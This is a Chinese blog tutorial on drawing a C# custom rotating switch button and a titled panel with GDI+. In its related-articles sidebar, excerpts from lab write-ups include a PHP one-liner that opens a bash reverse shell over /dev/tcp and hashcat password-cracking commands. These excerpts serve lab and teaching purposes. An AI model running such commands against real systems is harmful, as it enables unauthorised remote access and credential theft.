首页 > 编程语言 >旋转按钮—C#自定义控件1

旋转按钮—C#自定义控件1

时间:2024-09-12 21:52:32浏览次数:12  
标签:控件 自定义 C# new rec centerPoint

C#自定义控件—旋转按钮

 

C#用户控件之旋转按钮

按钮功能:手自动旋转,标签文本显示、点击二次弹框确认(源码在最后边);


【制作方法】
  • 找到控件的中心坐标,画背景外环、内圆;再绘制矩形开关,进行角度旋转即可获得;

【关键节点】
  • No.1 获取中心坐标,思考要绘制图形的相对坐标、宽度、高度;
  • No.2 更改坐标系原点,以此原点为坐标,绘制矩形开关,再旋转指定角度
//方法中获取原点
Point centerPoint = GetCenterPoint();

#region 获取中心原点
private Point GetCenterPoint()
{
    if (this.height > this.width)
    {
        return new Point(this.width / 2, this.width / 2);
    }
    else
    {
        return new Point(this.height / 2, this.height / 2);
    }
}
#endregion
//更改坐标系原点
g.TranslateTransform(centerPoint.X, centerPoint.Y);

//旋转指定角度
if (switchStatus)
{
    g.RotateTransform(36.0f);
}
else
{
    g.RotateTransform(-36.0f);
}

【1】按钮的背景(外环<g.DrawEllipse>、内圆<g.FillEllipse>)绘制方法与指示灯的方法一样;

注意:此坐标系以控件左上角为准

//绘制外环—(Pen)-DrawEllipse
p = new Pen(this.cirInColor, this.cirOutWidth);
RectangleF rec = new RectangleF(this.cirOutGap, this.cirOutGap, (centerPoint.X - this.cirOutGap) * 2, (centerPoint.X - this.cirOutGap) * 2);
g.DrawEllipse(p, rec);

//填充内圆—(SolidBrush)-FillEllipse
sb = new SolidBrush(this.cirInColor);
rec = new RectangleF(this.cirInGap, this.cirInGap, (centerPoint.X - this.cirInGap) * 2, (centerPoint.X - this.cirInGap) * 2);
g.FillEllipse(sb, rec);

【2】绘制中间矩形及圆点,画刷填充指定区域(g.FillRectangle、g.FillEllipse)

注意:此坐标系以中心点为准

//更改坐标系原点
g.TranslateTransform(centerPoint.X, centerPoint.Y);

//填充矩形开关
rec = new RectangleF(-this.togWidth * 0.5f, this.togGap - centerPoint.Y, togWidth, (centerPoint.Y - togGap) * 2);
g.FillRectangle(new SolidBrush(this.togColor), rec);

//填充矩形开关圆点
rec = new RectangleF(-this.togWidth * 0.5f + togForeGap, this.togGap - centerPoint.Y + togForeGap, togWidth - 2 * togForeGap, togForeHeight);
g.FillEllipse(new SolidBrush(this.togForeColor), rec);

【3】绘制文本,在指定的矩形中绘制指定的字符串(g.DrawString)

//指定字符串
rec = new RectangleF(this.width * 0.05f, 1, this.width, 20);
g.DrawString(this.textLeft, this.textFont, new SolidBrush(this.textColor), rec, sf);
rec = new RectangleF(this.width * 0.63f, 1, this.width, 20);
g.DrawString(this.textRight, this.textFont, new SolidBrush(this.textColor), rec, sf);

【4】创建鼠标点击事件,添加鼠标点击事件处理<更改属性值>,在属性中触发事件(Event)

#region 添加事件
[Browsable(true)]
[Category("操作_G")]
[Description("双击进入事件")]
public event EventHandler MouseDown_G;   //事件声明
//初始化函数添加鼠标点击事件处理
this.MouseDown += Switch_MouseDown; ;
//鼠标点击事件处理逻辑
private void Switch_MouseDown(object sender, MouseEventArgs e)
{
    DialogResult dr = MessageBox.Show("二次确认操作?", "提示您", MessageBoxButtons.OKCancel, MessageBoxIcon.Question);
    if (dr == DialogResult.OK)
    {
        SwitchStatus = !SwitchStatus; //此处属性值,不是字段
    }
    else return;
}
#endregion
//开关状态属性
 private bool switchStatus = false;
 [Browsable(true)]
 [Category("布局_G")]
 [Description("开关状态")]
 public bool SwitchStatus
 {
     get { return switchStatus; }
     set
     {
         switchStatus = value; this.Invalidate();

         //激活触发事件
         this.MouseDown_G?.Invoke(this, null);
     }
 }

备忘:指定默认事件(在应用时点击鼠标即可进入自定义事件,否则进入‘load’事件)

[DefaultEvent("MouseDown_G")]

最后生成


下一个:一个标题面板,方便用户界面的布局


【1】新建用户组件

【2】更改组件继承为Panel

【3】定义属性(标题的颜色、字体、高度;抬头背景色;边框颜色)

private Font titleFont = new Font("微软雅黑", 12);
[Browsable(true)]
[Category("布局_G")]
[Description("标题字体")]
public Font TitleFont
{
    get { return titleFont; }
    set
    {
        titleFont = value;
        this.Invalidate();
    }
}

【4】重绘画布

//画外边框
g.DrawRectangle(new Pen(this.colorBorder), new Rectangle(0, 0, this.Width - 1, this.Height - 1));

//填充抬头矩形
RectangleF rec = new RectangleF(0.5f, 0.5f, this.Width - 2, this.titleHeight);
g.FillRectangle(new SolidBrush(this.colorBack), rec);

//文本绘制
g.DrawString(this.titleText, this.titleFont, new SolidBrush(this.colorTitle), rec, sf);

【5】备注说明

  • 初始化字体格式-需要再两个方法中定义文本对齐格式
//字体对齐格式
this.sf = new StringFormat();
this.sf.Alignment = StringAlignment.Center;
this.sf.LineAlignment = StringAlignment.Center;

//指定控件大小
this.Size = new System.Drawing.Size(300, 150);

最后生成并应用


源码链接

(不想折腾的直接用Dll,如有更好的记得留言分享哦!代码有不足的也请大神指教)别忘点赞哦
https://pan.baidu.com/s/1QM_iZ-UMksPqwWo2ssS5Ow?pwd=ju01

  C#自定义控件—旋转按钮 郭恩硕 2024-09-07 23:58 阅读:1039 评论:3 推荐:11 编辑   C#自定义控件—指示灯 郭恩硕 2024-09-06 00:00 阅读:1297 评论:12 推荐:12 编辑   C#自定义控件—仪表盘 郭恩硕 2024-09-04 22:03 阅读:695 评论:4 推荐:8 编辑   C#自定义控件—文本显示、文本设值 郭恩硕 2024-09-03 21:54 阅读:540 评论:0 推荐:2 编辑   C#自定义控件—流动管道 郭恩硕 2024-09-02 23:05 阅读:842 评论:2 推荐:12 编辑

标签:控件,自定义,C#,new,rec,centerPoint
From: https://www.cnblogs.com/Leo_wl/p/18411173

相关文章

  • [Maxio] 海康C160SSD/256GB掉盘严重,联芸主控开卡成功分享/固件163个
    海康的固态硬盘掉盘严重,使用工具查看使用量离谱,论坛找了很多Maxio-MAS0902-MAS0901-工具都不成功,颗粒识别为Intel的,最近换了个MAS0902-B16AB17A-D2.0-V1.001.000-A.0.09.019-FT2000工具,颗粒选B16A03055成功开卡。固件收集了163个。.MAS0902-B16AB17A-D2.0-V1.001.000-......
  • SpringSecurity原理解析(二):认证流程
    1、SpringSecurity认证流程包含哪几个子流程?   1)账号验证   2)密码验证   3)记住我—>Cookie记录   4)登录成功—>页面跳转2、UsernamePasswordAuthenticationFilter   在SpringSecurity中处理认证逻辑是在UsernamePasswordAuthenticationFilter这个过......
  • SpringSecurity原理解析(二):认证流程
    1、SpringSecurity认证流程包含哪几个子流程?   1)账号验证   2)密码验证   3)记住我—>Cookie记录   4)登录成功—>页面跳转2、UsernamePasswordAuthenticationFilter   在SpringSecurity中处理认证逻辑是在UsernamePasswordAuthenticationFilter这个过......
  • 【TS】TypeScript高级详解【二】
    TypeScript类的使用进行ES5开发的时候,需要使用函数和原型链实现类和继承。ES6引入了class关键字,我们可以更加方便地定义和使用类。作为JavaScript的超集,TypeScript同样支持使用class关键字,并且可以对类的属性和方法等进行静态类型检测。类的定义具体的类定义方式如下:......
  • DECL: 针对噪声时间序列的去噪感知对比学习《Denoising-Aware Contrastive Learning f
    今天是2024年9月12日,组会摸鱼,很久没看论文了,在摸鱼看代码,最近IJCAI2024出来了,找了几篇论文看,首先这是第一篇。论文:Denoising-AwareContrastiveLearningforNoisyTimeSeries或者是:Denoising-AwareContrastiveLearningforNoisyTimeSeriesGitHub:https://github.com/be......
  • 靶机 ctf5
    暴露了很多端口80端口发现是nanocms、查询exploithttp://192.168.200.144/~andy/data/pagesdata.txt会暴露密码searchsploitnanocms那个根本利用不了的破解密码得出shannon进入cms添加一句话马,执行<?phpexec("/bin/bash-c'bash-i>&/dev/tcp/192.168.1.121/12340>......
  • 靶机 ctf7
    可交互shellpython2-c'importpty;pty.spawn("/bin/bash")'mysql命令mysql-u-pshowdatabase;usexxxx退出exit/qawkcatsql|awk-F'''{print$2}'密码爆破hashcat-m0-a0passwd/usr/share/wordlists/rockyou.t......
  • dc-4
    靶机下载地址:dc-4找靶机nmap-sV192.168.6.0/24查看一下端口服务很明显就只是一个简单的登录框我们爆破一下最终得到用户名:admin密码:happy进去看看怎么个事很明显是一个选择既定的命令进行命令执行我们可以抓包然后即可使用我们自己设计的命令直接拿shell然......
  • [ARC101E] Ribbons on Tree 题解
    [ARC101E]RibbonsonTree题解其实算一道好题了。首先考虑不相关的simple的dp。平凡的想法是设\(dp_{i,j}\)表示\(i\)子树内有\(j\)个点还需要向上转移的方案数。转移式大概是个\(dp_{x,i+j}=dp_{y,i+j-1}+(dp_{p,i-1}+dp_{q,j-1})\)之类的东西。这样的dp是\(O(......
  • pediatrics_llm_qa:儿科问诊小模型
    项目简介本项目开源了基于儿科医疗指令微调的问诊模型:pediatrics_llm_qa(GitHub-jiangnanboy/pediatrics_llm_qa),目前模型的主要功能如下:智能问诊:问诊后给出诊断结果和建议。更新[2024/09/11]开源了基于Qwen2-1.5B-instructlora指令微调的儿科问诊模型开源模型......